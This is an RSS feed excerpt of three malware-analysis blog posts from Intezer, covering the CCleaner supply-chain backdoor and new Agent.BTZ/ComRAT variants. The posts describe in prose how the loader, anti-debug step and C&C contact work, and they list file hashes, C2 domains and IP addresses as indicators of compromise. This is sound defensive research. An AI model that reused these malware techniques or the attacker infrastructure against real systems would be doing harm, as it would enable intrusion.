&lt;/div&gt;</description></item><item><title>Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner</title><link>https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/</link><pubDate>Wed, 20 Sep 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/</guid><description>
&lt;p&gt;Recently, there have been a few attacks with a supply chain infection, such as
&lt;a href="https://securelist.com/shadowpad-in-corporate-networks/81432/"target="_blank" rel="noopener"&gt;Shadowpad&lt;/a&gt;
being implanted in many of Netsarang’s products, affecting millions of people.
You may have the most up to date cyber security software, but when the software
you are trusting to keep you protected gets infected there is a problem. A
backdoor, inserted into legitimate code by a third party with malicious intent,
leads to millions of people being hacked and their information stolen.&lt;/p&gt;
&lt;p&gt;Avast’s CCleaner software had a backdoor encoded into it by someone who had
access to the supply chain. Through somewhere that had access to the source
code of CCleaner, the main executable in v5.33.6162 had been modified to
include a backdoor. The official statement from Avast can be found
&lt;a href="https://blog.avast.com/update-to-the-ccleaner-5.33.6162-security-incident"target="_blank" rel="noopener"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;The Big Connection&lt;span class="hx:absolute hx:-mt-20" id="the-big-connection"&gt;&lt;/span&gt;
&lt;a href="#the-big-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Costin Raiu, director of Global Research and Analysis Team at Kaspersky Lab,
was the first to find a code connection between APT17 and the backdoor in the
infected CCleaner:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The malware injected into #CCleaner has shared code with several tools used
by one of the APT groups from the #Axiom APT &amp;lsquo;umbrella&amp;rsquo;.&lt;/p&gt;
&lt;p&gt;— Costin Raiu (@craiu)
&lt;a href="https://x.com/craiu/status/910059453948579840?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;September 19, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using Intezer Analyze™, we were able to verify the shared code between the
backdoor implanted in CCleaner and earlier APT17 samples. The photo below is
the result of uploading the CCBkdr module to Intezer Analyze™, where the
results show there is an overlap in code. With our technology, we can compare
code to a huge database of malicious and trusted software — that’s how we can
prove that this code has never been seen before in any other software.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;A deeper analysis leads us to the functions shown below. The code in question
is a unique implementation of base64 only previously seen in APT17 and not in
any public repository, which makes a strong case about attribution to the same
threat actor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig2.jpg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This code connection is huge news. APT17, also known as
&lt;a href="../../../2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/"&gt;Operation Aurora&lt;/a&gt;,
is one of the most sophisticated cyber attacks ever conducted and they
specialize in supply chain attacks. In this case, they probably were able to
hack CCleaner’s build server in order to plant this malware. Operation Aurora
started in 2009 and to see the same threat actor still active in 2017 could
possibly mean there are many other supply chain attacks by the same group that
we are not aware of. The previous attacks are attributed to a Chinese group
called PLA Unit 61398.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The infected CCleaner file that begins the analysis is from
&lt;code&gt;6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A technical analysis was posted by Talos
&lt;a href="http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The flow-graph of the malicious CCleaner is as follows (taken from the Talos
report):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Infected function:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig4.png" title="Infected function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Infected function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Load and execute the payload code:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig5.png" title="Load and execute the payload code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Load and execute the payload code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the embedded code is decrypted and executed, the next step is a PE
(portable executable) file loader. A PE file loader basically emulates the
process of what happens when you load an executable file on Windows. Data is
read from the PE header, from a module created by the malware author.&lt;/p&gt;
&lt;p&gt;The PE loader first begins by resolving the addresses of imports commonly used
by loaders and calling them. GetProcAddress to get the addresses of external
necessary functions, LoadLibraryA to load necessary modules into memory and get
the address of the location of the module in memory, VirtualAlloc to create
memory for somewhere to copy the memory, and in some cases, when not
implemented, and memcpy to copy the buffer to the newly allocated memory
region.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig6.png" title="The PE loader" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The PE loader&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the module is copied to memory, to load it properly, the proper loading
procedure is executed. The relocation table is read to adjust the module to the
base address of the allocated memory region, the import table is read, the
necessary libraries are loaded, and the import address table is filled with the
correct addresses of the imports. Next, the entire PE header is overwritten
with 0’s, a mechanism to destroy the PE header tricking security software into
not realizing this module is malicious, and after the malicious code begins
execution.&lt;/p&gt;
&lt;p&gt;The main module does the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tries an anti-debug technique using time and IcmpSendEcho to wait&lt;/li&gt;
&lt;li&gt;Collect data about the computer (Operating system, computer name, DNS
domain, running processes, etc)&lt;/li&gt;
&lt;li&gt;Allocates memory for payload to retrieve from C&amp;amp;C server&lt;/li&gt;
&lt;li&gt;Contacts C&amp;amp;C server at IP address &lt;code&gt;216.126.225.148&lt;/code&gt;. If this IP address is
unreachable, uses a domain generation algorithm and uses a different domain
depending on the month and year&lt;/li&gt;
&lt;li&gt;Executes code sent by C&amp;amp;C&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By the time of the analysis, we were unable to get our hands on the code sent
by the C&amp;amp;Cs.&lt;/p&gt;
&lt;p&gt;If you would like to analyze the malware yourself, you may refer to my tweet.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#ccleaner malware DLL w/ IAT fix &lt;a href="https://t.co/FprmtmkV64"target="_blank" rel="noopener"&gt;https://t.co/FprmtmkV64&lt;/a&gt;
&lt;a href="https://t.co/dgWiQVd31k"target="_blank" rel="noopener"&gt;https://t.co/dgWiQVd31k&lt;/a&gt; @TalosSecurity @malwrhunterteam
pic.twitter.com/TxsbveFoHJ&lt;/p&gt;
&lt;p&gt;— Jay Rosenberg (@jaytezer) September 18, 2017&lt;/p&gt;
&lt;/blockquote&gt;</description></item><item><title>New Variants of Agent.BTZ/ComRAT Found: The Threat That Hit The Pentagon In 2008 Still Evolving; Part 2/2</title><link>https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/</link><pubDate>Wed, 13 Sep 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/</guid><description>
&lt;p&gt;&lt;a href="../../../2017/08/new-variants-of-agent-btz-comrat-found/"&gt;Our previous blog&lt;/a&gt;
post was a short brief of new Agent.BTZ variants that we found. This second
part in the series will demonstrate in greater detail exactly how we discovered
these new variants.&lt;/p&gt;
&lt;h2&gt;Methodology&lt;span class="hx:absolute hx:-mt-20" id="methodology"&gt;&lt;/span&gt;
&lt;a href="#methodology" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;To begin, we used our hunting methodology, which consist of four main parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Collection: Collect multiple samples from different versions.&lt;/li&gt;
&lt;li&gt;Analysis: Mark functions that have stayed consistent across all versions that
are likely to be a part of the next version.&lt;/li&gt;
&lt;li&gt;Creating a signature: Create a robust yet flexible YARA rule for these
functions.&lt;/li&gt;
&lt;li&gt;Hunting: Search a large repository of files with that YARA rule (VirusTotal,
for example).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why focus on Agent.BTZ?&lt;span class="hx:absolute hx:-mt-20" id="why-focus-on-agentbtz"&gt;&lt;/span&gt;
&lt;a href="#why-focus-on-agentbtz" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We chose to focus on Agent.BTZ for several reasons: First, This is one of the
oldest state-sponsored threat, developed and operated by the Turla group since
(at least) 2007 for dozens of targeted attacks.&lt;/p&gt;
&lt;p&gt;Second, there is also a lot of public knowledge regarding
&lt;a href="../../../2017/08/new-variants-of-agent-btz-comrat-found/"&gt;Agent.BTZ&lt;/a&gt;
specifically and Turla group in general available online, including intel
reports, technical analyses and malware samples, which we used for our
research.&lt;/p&gt;
&lt;p&gt;Third is the fact that this specific malware has remained out of public view
for the last two to three years; however, we recognized that it wasn’t likely
to disappear–it has just continued to fly under the radar.&lt;/p&gt;
&lt;h2&gt;Do the math&lt;span class="hx:absolute hx:-mt-20" id="do-the-math"&gt;&lt;/span&gt;
&lt;a href="#do-the-math" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We based our research on an earlier publication from three years ago:
&amp;ldquo;Evolution of sophisticated spyware: from Agent.BTZ to ComRAT&amp;rdquo; by Paul
Rascagnères of GDATA (at the time). In this excellent blog post, Paul described
the evolution of Agent.BTZ to ComRAT between 2007-2014 by manually diffing
(BinDiff) two different candidates from each major internal hard-coded version
(referred by the authors as &amp;ldquo;Ch&amp;rdquo; or &amp;ldquo;PVer&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;The following table shows the code’s similarity between each version to its
direct neighbors. By summing up the data in this table we can conclude that, in
general, about ~30% of the original code has been used in every version up to
the latest known version as of 2014 (marked in red).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig1.png" title="https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Obviously this 30% isn’t comprised of totally unique code made by Agent.BTZ’s
developers; rather, it is a mixture made of mostly common code that can be
found in many more software products (both legit and malware). For example,
these could include C Runtime Library or any other 3rd party library such as
zlib. Using Intezer’s technology, we were able to do a ‘deep dive’ into this
code, automatically mapping all of the common, library and (most importantly)
unique pieces of code created by the malware’s authors.&lt;/p&gt;
&lt;h2&gt;Mysterious magic number&lt;span class="hx:absolute hx:-mt-20" id="mysterious-magic-number"&gt;&lt;/span&gt;
&lt;a href="#mysterious-magic-number" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After filtering out all of the common and library code, we were left with
several unique functions that can be found in every version of the malware
since 2007. The most prominent is the following function:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig2.png" title="Mysterious magic number" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Mysterious magic number&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the picture you can see the two, almost identical functions from the first
version (Ch 1.0) on the right and the latest version (Ch 3.26) of Agent.BTZ on
the left. This function is initially reading first four bytes of a given file,
and then comparing them for the magic number 0xAAFF1290 (marked in red). If it
matches, the function will return true; otherwise, it is false.&lt;/p&gt;
&lt;p&gt;So, what is this magic number? Which file is it? We were actually unable to
find the function that creates this file within the same binary (ver 3.26). The
function shown above is the only reference to that magic number. Luckily, while
re-reading old ThreatExpert’s Agent.BTZ analysis from 2008 we happened to
notice the following paragraph:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig3.png" title="http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;So now we know that this function is used to verify thumb.dd files, which are
log/config files leaked over newly-connected USB drives (to overcome air-gapped
networks, like those of the Pentagon). But wait… why didn’t we found the
function which creates these files? Because the USB-infection vector was
removed few years earlier! &lt;strong&gt;And yet the adversary is still looking for these
valuable thumb.dd files…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Hunting for new variants&lt;span class="hx:absolute hx:-mt-20" id="hunting-for-new-variants"&gt;&lt;/span&gt;
&lt;a href="#hunting-for-new-variants" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;So far, we know that this function exists, and it has stayed consistent across
all versions of the malware; we know what it does (verify certain magic number)
and why (detect thumb.dd files leaked from internal network by older versions
of the malware). By that information, we can tell that it’s likely to be used
in future versions as well.&lt;/p&gt;
&lt;p&gt;The next step involves writing a dedicated YARA rule(see appendix) for that
specific function and searching for new samples. The rule has to be tolerant to
minor changes between versions (mainly due to different compilation flags).
Using the VirusTotal Intelligence service, we were able to scan about 2-3
months’ worth of file uploads. As soon as the scan finished, we dug into the
results and &lt;strong&gt;discovered this first new variant of Agent.BTZ that wasn’t yet
mentioned in any public report&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/new-variants-of-agent-btz-comrat-found-part-2/images/fig5.png" title="A screenshot from the Intezer Analyze™ product displaying partial code connections between new sample to old samples of Agent.BTZ(Turla group)." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A screenshot from the Intezer Analyze™ product displaying partial code connections between new sample to old samples of Agent.BTZ(Turla group).&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This
&lt;a href="https://www.virustotal.com/en/file/6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96/analysis/"target="_blank" rel="noopener"&gt;specific file&lt;/a&gt;
was supposedly compiled at 2016-07-13 (the timestamp was modified in some of
the earlier samples) and uploaded to VT 2017-05-11, which means that this
sample is at least two years newer than any previous sample.&lt;/p&gt;
&lt;h2&gt;Main differences between old(3.26) &amp;amp; new samples&lt;span class="hx:absolute hx:-mt-20" id="main-differences-between-old326--new-samples"&gt;&lt;/span&gt;
&lt;a href="#main-differences-between-old326--new-samples" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Filename
&lt;ul&gt;
&lt;li&gt;New file names
&lt;ul&gt;
&lt;li&gt;activeds.dll – proxy dll&lt;/li&gt;
&lt;li&gt;stdole2.tlb – main payload&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Exports&lt;/li&gt;
&lt;li&gt;AddAtomS removed
&lt;ul&gt;
&lt;li&gt;Legacy stub function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AddAtomT removed
&lt;ul&gt;
&lt;li&gt;Legacy installation function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;UnInstallW added
&lt;ul&gt;
&lt;li&gt;Force delete file. Used by new dropper for self delete.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PVer(internal version tracking)
&lt;ul&gt;
&lt;li&gt;random version id(see following picture) instead of incremental, might be
due to GDATA’s 2014 publications.
&lt;ul&gt;
&lt;li&gt;For example:
&lt;ul&gt;
&lt;li&gt;0.8.1529506101&lt;/li&gt;
&lt;li&gt;0.9.1528434231&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Persistence(COM Hijacking)
&lt;ul&gt;
&lt;li&gt;New CLSID
&lt;ul&gt;
&lt;li&gt;{DFFACDC5-679F-4156-8947-C5C76BC0B67F}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;C2 Infrastructure&lt;/li&gt;
&lt;li&gt;Both using “Satellite Turla” infrastructure&lt;/li&gt;
&lt;li&gt;Config &amp;amp; Log Files&lt;/li&gt;
&lt;li&gt;Same 512 bytes encryption key as 3.26&lt;/li&gt;
&lt;li&gt;Different file paths:&lt;/li&gt;
&lt;li&gt;config: &lt;code&gt;%appdata%\Microsoft\Windows\PrivacIE\High\desktop.ini&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;log: &lt;code&gt;%appdata%\Microsoft\Windows\PrivacIE\High\index.dat&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548 dropper
6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4 dropper
73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88 activeds.dll
50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f activeds.dll
380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac activeds.dll
9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426 activeds.dll
628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24 activeds.dll
f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2 activeds.dll
a093fa22d7bc4ee99049a29b66a13d4bf4d1899ed4c7a8423fbb8c54f4230f3c activeds.dll
6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96 stdole2.tlb
49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e stdole2.tlb
e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49 stdole2.tlb
89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea stdole2.tlb
0e0045d2c4bfff4345d460957a543e2e7f1638de745644f6bf58555c1d287286 other
bdcc7e900f10986cdb6dc7762de35b4f07f2ee153a341bef843b866e999d73a3 other
fac13f08afe2745fc441ada37120cebce0e0aa16d03a03e9cda3ec9384dd40f2 backdoor
bae62f7f96c4cc300ec685f42eb451388cf50a13aa624b3f2a019d071fddaeb1 other&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;81.199.34[.]150
elephant.zzux[.]com
angrybear.ignorelist[.]com
bigalert.mefound[.]com
bughouse.yourtrap[.]com
getfreetools.strangled[.]net
news100top.diskstation[.]org
pro100sport.mein-vigor[.]de
redneck.yourtrap[.]com
savage.2waky[.]com
tehnologtrade.4irc[.]com
81.199.160[.]11
forums.chatnook[.]com
goodengine.darktech[.]org
locker.strangled[.]net
simple-house.zzux[.]com
specialcar.mooo[.]com
sunseed.strangled[.]net
whitelibrary.4irc[.]com
bloodpearl.strangled[.]net
getlucky.ignorelist[.]com
proriot.zzux[.]com
fourapi.mooo[.]com
nopasaran.strangled[.]net
78.138.25[.]29
showme.twilightparadox[.]com
mouses.strangled[.]net
82.146.175[.]69
mouses.strangled[.]net
178.219.68[.]242
ftp.fueldust.compress[.]to
ftp.linear.wikaba[.]com
ftp.mysterysoft.epac[.]to
ftp.scroller.longmusic[.]com
ftp.spartano.mefound[.]com
fueldust.compress[.]to
linear.wikaba[.]com
mysterysoft.epac.to
safety.deaftone[.]com
salary.flnet[.]org
scroller.longmusic[.]com
spartano.mefound[.]com
88.83.25[.]122
robot.wikaba[.]com
41.223.91[.]217
smileman.compress[.]to
decent.ignorelist[.]com
dekka.biz[.]tm
disol.strangled[.]net
eraser.2waky[.]com
filelord.epac[.]to
justsoft.epac[.]to
smuggler.zzux[.]com
sport-journal.twilightparadox[.]com
sportinfo.yourtrap[.]com
stager.ignorelist[.]com
tankos.wikaba[.]com
grandfathers.mooo[.]com
homeric.mooo[.]com
jamming.mooo[.]com
pneumo.mooo[.]com
razory.mooo[.]com
anger.scieron[.]com
gantama.mefound[.]com
letgetbad.epac[.]to
rowstate.epac[.]to
memento.info[.]tm
196.43.240[.]177
bughouse.yourtrap[.]com
news100top.diskstation[.]org
169.255.102[.]240
harm17.zzux[.]com
mountain8.wikaba[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Related articles&lt;span class="hx:absolute hx:-mt-20" id="related-articles"&gt;&lt;/span&gt;
&lt;a href="#related-articles" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"target="_blank" rel="noopener"&gt;http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/"target="_blank" rel="noopener"&gt;https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"target="_blank" rel="noopener"&gt;https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/the-epic-turla-operation/65545/"target="_blank" rel="noopener"&gt;https://securelist.com/the-epic-turla-operation/65545/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://artemonsecurity.com/snake_whitepaper.pdf"target="_blank" rel="noopener"&gt;http://artemonsecurity.com/snake_whitepaper.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>New Variants of Agent.BTZ/ComRAT Found: The Threat That Hit The Pentagon In 2008 Still Evolving; Part 1/2</title><link>https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/</link><pubDate>Mon, 07 Aug 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/</guid><description>
&lt;p&gt;Agent.BTZ–also known as ComRAT–is one of the world’s oldest known
state-sponsored threats, mainly known for the
&lt;a href="http://articles.latimes.com/2008/nov/28/nation/na-cyberattack28"target="_blank" rel="noopener"&gt;2008 Pentagon breach&lt;/a&gt;.
Technically speaking, Agent.BTZ is a sophisticated user-mode RAT developed and
operated by the Turla group in conjunction with Snake/Uroburos rootkit. In the
past few months, we conducted research on Agent.BTZ’s code-base and how it
evolved using Intezer Code Intelligence™ technology. &lt;strong&gt;Based on our research
conclusions, we were able to hunt about a dozen new samples and more than
seventy previously unknown live IP &amp;amp; DNS addresses indicating the ongoing abuse
of
&lt;a href="https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/"target="_blank" rel="noopener"&gt;satellite internet providers&lt;/a&gt;
operating in both Africa &amp;amp; the Middle East&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is a short memo regarding our findings from the past few months; get more
details in Part 2 of this blog,
&lt;a href="../../../2017/09/new-variants-of-agent-btz-comrat-found-part-2"&gt;a whitepaper we wrote on Agent.BTZ/ComRAT&lt;/a&gt;
describing in more details how we found these new variants using our
technology, along with a thorough analysis of the new samples.&lt;/p&gt;
&lt;h2&gt;Dropper&lt;span class="hx:absolute hx:-mt-20" id="dropper"&gt;&lt;/span&gt;
&lt;a href="#dropper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Although the code itself was written from scratch and has nothing to do with
WinRAR, the adversary tried to mimic WinRAR’s SFX installer. Resource data was
duplicated, including icons and layouts used by the original installer, as you
can see in the following screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
